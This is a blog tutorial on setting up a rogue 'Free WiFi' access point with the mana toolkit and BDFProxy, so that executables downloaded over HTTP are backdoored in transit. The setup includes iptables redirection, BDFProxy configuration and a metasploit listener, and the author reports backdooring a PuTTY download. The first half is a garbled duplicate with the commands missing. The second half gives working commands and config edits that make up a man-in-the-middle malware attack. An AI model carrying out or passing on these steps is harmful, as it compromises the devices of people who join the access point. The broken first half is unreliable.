Using mana toolkit and BDFProxy to backdoor executables on the fly
A week or so back, DecidedlyGray put up a post about using Kali Nethunter, Mana and BDFProxy to backdoor executables on the fly on a rogue Access Point. I'm going to recreate the same AP in Kali 2.0 in this post.
First up you need to install the mana toolkit with
If you navigate to
First up, copy
In this file I didn't make many changes other than to change the physical and upstream interfaces to the ones I use on my Kali VM (eth1 for upstream and wlan0 for phy), and to add the entry required for the redirect to BDFProxy
Next up is the hostapd-karma config file in
I would not recommend using "Free WiFi" as SSID in an environment where there may be other people near enough to see your access point! This will almost certainly land you in trouble.
The only changes I made here were to change the ssid name, and to set the interface to wlan0.
Next, your dhcp settings.
In the same folder as earlier there is
Finally, the bdfproxy settings in
As far as configs, that should be all set up! You can start mana with:
And then bdfproxy simply by typing "bdfproxy" into the terminal. And finally, metasploit from the bdfproxy helper file by navigating to /usr/share/bdfproxy and running:
I was then able to connect to the AP from my phone, and downloading Putty correctly sent the request via BDFProxy for it to be backdoored:
Success!
As usual, please don't use this to do anything daft.
First up you need to install the mana toolkit with
apt-get install mana-toolkitThis will install the toolkit and set up some of the basic configs.
If you navigate to
/usr/share/mana-toolkit/run-manayou will see the runscripts. I had a little play with the start-nat-full.sh script but had issues with SSLStrip, so resolved to use the non-SSL script start-nat-simple.sh
First up, copy
start-nat-simple.shto a new script with:
cp start-nat-simple.sh start-nat-simple-bdfproxy.sh
In this file I didn't make many changes other than to change the physical and upstream interfaces to the ones I use on my Kali VM (eth1 for upstream and wlan0 for phy), and to add the entry required for the redirect to BDFProxy
iptables -t nat -A PREROUTING -i $phy -p tcp --destination-port 80 -j REDIRECT --to-port 8080so my config file ended up looking like this:
Next up is the hostapd-karma config file in
/etc/mana-toolkit/
I would not recommend using "Free WiFi" as SSID in an environment where there may be other people near enough to see your access point! This will almost certainly land you in trouble.
The only changes I made here were to change the ssid name, and to set the interface to wlan0.
Next, your dhcp settings.
In the same folder as earlier there is
/etc/mana-toolkit/dhcpd.confI actually didn't make any changes in here. It uses Google's DNS servers and assigns clients addresses in the 10.0.0.0/24 range, which is fine for my purposes.
Finally, the bdfproxy settings in
/etc/bdfproxy/bdfproxy.cfgI did have to make some changes in here. For some reason the "HOST" addresses were set weirdly, some to 192.168.1.168 and some to 192.168.1.16. Borrowing the fix from decidedlygray:
sed –i 's/192.168.1.168/10.0.0.1/g' bdfproxy.cfg
sed –I 's/192.168.1.16/10.0.0.1/g' bdfproxy.cfgYou will also need to change the value
transparentProxy = Noneto
transparentProxy = transparent
As far as configs, that should be all set up! You can start mana with:
/usr/share/mana-toolkit/run-mana/start-nat-simple-bdfproxy.sh
And then bdfproxy simply by typing "bdfproxy" into the terminal. And finally, metasploit from the bdfproxy helper file by navigating to /usr/share/bdfproxy and running:
msfconsole -r bdfproxy_msf_resource.rc
I was then able to connect to the AP from my phone, and downloading Putty correctly sent the request via BDFProxy for it to be backdoored:
Success!
As usual, please don't use this to do anything daft.
Comments
Post a Comment